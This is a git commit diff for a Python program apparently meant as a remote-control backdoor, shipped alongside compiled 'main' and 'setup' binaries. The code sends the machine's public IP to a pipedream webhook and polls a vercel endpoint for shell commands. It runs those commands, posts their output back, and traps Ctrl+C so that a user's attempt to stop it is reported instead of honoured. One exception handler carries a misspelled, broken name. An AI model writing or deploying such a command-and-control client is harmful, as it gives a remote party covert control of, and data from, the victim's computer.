diff options
| author | littleblack111 <jerrylam110209@gmail.com> | 2023-08-16 08:18:46 +0800 |
|---|---|---|
| committer | littleblack111 <jerrylam110209@gmail.com> | 2023-08-16 08:18:46 +0800 |
| commit | f200665c107ffd0fb44a9e7ce673e5becc7c85bf (patch) | |
| tree | 657aefc0667007b53ee14780426c423eb3cf7502 | |
| parent | 985e511b5094655db5ca9ae78f30866cc07dde3b (diff) | |
updated
| -rwxr-xr-x | dist/main | bin | 4299504 -> 4299600 bytes | |||
| -rwxr-xr-x | dist/main.app/Contents/MacOS/main | bin | 4299504 -> 4299600 bytes | |||
| -rwxr-xr-x | dist/setup | bin | 4299344 -> 4299344 bytes | |||
| -rwxr-xr-x | dist/setup.app/Contents/MacOS/setup | bin | 4299344 -> 4299344 bytes | |||
| -rw-r--r-- | main.py | 42 |
5 files changed, 30 insertions, 12 deletions
| Binary files differ diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main Binary files differBinary files differindex 6ab885c..816d915 100755 --- a/dist/main.app/Contents/MacOS/main +++ b/dist/main.app/Contents/MacOS/main diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup Binary files differindex 8eee1fb..f8cc731 100755 --- a/dist/setup.app/Contents/MacOS/setup +++ b/dist/setup.app/Contents/MacOS/setup @@ -10,7 +10,10 @@ try: ip = get('https://api.ipify.org').content.decode('utf8') post("https://eo482aoknyxae8c.m.pipedream.net", data=f"New client IP: `{ip}`") except KeyboardInterrupt: - post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when init``") + try: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when init``") + except KeyboardInterrupt: + pass pass while True: @@ -19,20 +22,23 @@ while True: #get HTML try: command = get("https://discord-bot-command-inputter-littleblack111.vercel.app").content.decode() - if "error" in command.lower(): - sleep(5) - continue + if command.startswith('Error: 429 - {"message": "You are being rate limited.", "retry_after":'): + try: + sleep(5) + continue + except KeyboardInterrupt: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when waiting discord api timeout(rate-limit)``") except KeyboardInterrupt: - post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) with sleeping(cuz of discord api timeout)``") + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when handling discord api``") continue except: print("Failed to connect to server") - sleep(1) + sleep(3) continue # execute command if old_command != command: try: - if command.startwith("ping"): + if command.startswith("ping"): try: post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Pong!") except KeyboardInterrupt: @@ -40,12 +46,15 @@ while True: except: print("Failed to connect to server") continue - if command.startwith("cd"): + if command.startswith("cd"): dir=command.replace('cd', '') try: chdir(dir) except KeyboardInterrupt: - post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) while changing directory``") + try: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) while changing directory``") + except KeyboardInterrupt: + continue continue except FileNotFoundError: post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```No Such Directory```-{ip}") @@ -58,7 +67,10 @@ while True: try: post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```{cmdout}```-{ip}") except KeyboardInterrupt: - post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when trying to post output``") + try: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when trying to post output``") + except KeyboardInterrupt: + continue continue except: print("Failed to sent output") @@ -70,8 +82,14 @@ while True: try: sleep(0.1) except KeyboardInterrupt: - post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C)``") + try: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C)``") + except KeyboardInterrupt: + continue continue except KeyboardInterrupt: - post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C)``") + try: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C)``") + except KeyyboardInerrupt: + continue continue |
